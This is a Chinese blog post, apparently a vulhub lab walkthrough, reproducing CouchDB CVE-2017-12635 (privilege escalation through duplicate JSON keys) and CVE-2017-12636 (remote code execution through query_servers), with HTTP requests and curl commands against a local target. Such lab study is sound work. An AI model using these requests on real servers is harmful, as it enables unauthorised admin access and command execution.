vulhub漏洞复现-CouchDB(CVE-2017-12635/6)垂直越权漏洞远程代码执行

CouchDB

Apache CouchDB是一个开源的数据库,面向文档的数据库管理系统,专注易用性"完全使用Web"。使用JSON作为存储格式,JavaScript为查询语言,MapReduce和HTTP作为API的NoSQL数据库

CVE-2017-12635垂直越权漏洞

思路

由于Erlang和JavaScript对JSON解析方式的不同,导致语句执行产生差异性导致的。可用于非管理员用户赋予自身管理员身份权限。

在Erlang:

> jiffy:decode({
    
    “a”:”1″, “a”:”2″}).

{
    
    [{
    
    <<“a”>>,<<“1”>>},{
    
    <<“a”>>,<<“2”>>}]}

在JavaScript:

> JSON.parse({
    
    “a”:”1″, “a”: “2”})

{
    
    a: “2”}

对于给定的键,Eralang解析器将存储两个值,但是JavaScript只存储第二个值。但是在jiffy实现的时候,getter函数只返回第一个值
【漏洞分析】CouchDB漏洞(CVE–2017–12635, CVE–2017–12636)分析

漏洞复现

docker部署环境后访问:5984/_utils/
在这里插入图片描述
这里不知道账号密码无法登陆,这里先发送一个PUT的数据包

PUT /_users/org.couchdb.user:test1 HTTP/1.1
Host: 192.168.64.128:5984
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: AuthSession=
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 90

{
    
    
  "type": "user",
  "name": "test1",
  "roles": ["_admin"],
  "password": "test1"
}

报错显示 返回403错误:{"error":"forbidden","reason":"Only _admin may set roles"}
在这里插入图片描述
发送包含两个roles的数据包来绕过限制

在这里插入图片描述
在5984/_utils/登陆成功
在这里插入图片描述

CVE-2017-12636远程代码执行

思路

由于数据库自身设计原因,管理员身份可以通过HTTP(S)API对配置文件进行更改,在“query_servers“配置选项包括操作系统级二进制文件的路径,并且会由CouchDB启动后加载。

漏洞复现

curl -X PUT 'http://localhost:5984/_config/query_servers/cmd' -d '"/sbin/ifconfig >/tmp/6668"'
curl -X PUT 'http:// localhost:5984/vultest'
curl -X PUT 'http:// localhost:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
curl -X POST 'http:// localhost:5984/vultest/_temp_view?limit=11' -d '{"language":"cmd","map":""}' -H 'Content-Type:application/json'

更改query_servers配置,创建个临时表,调用query_servers处理数据。这样便可以执行shell

猜你喜欢

转载自blog.csdn.net/weixin_54648419/article/details/121122767
今日推荐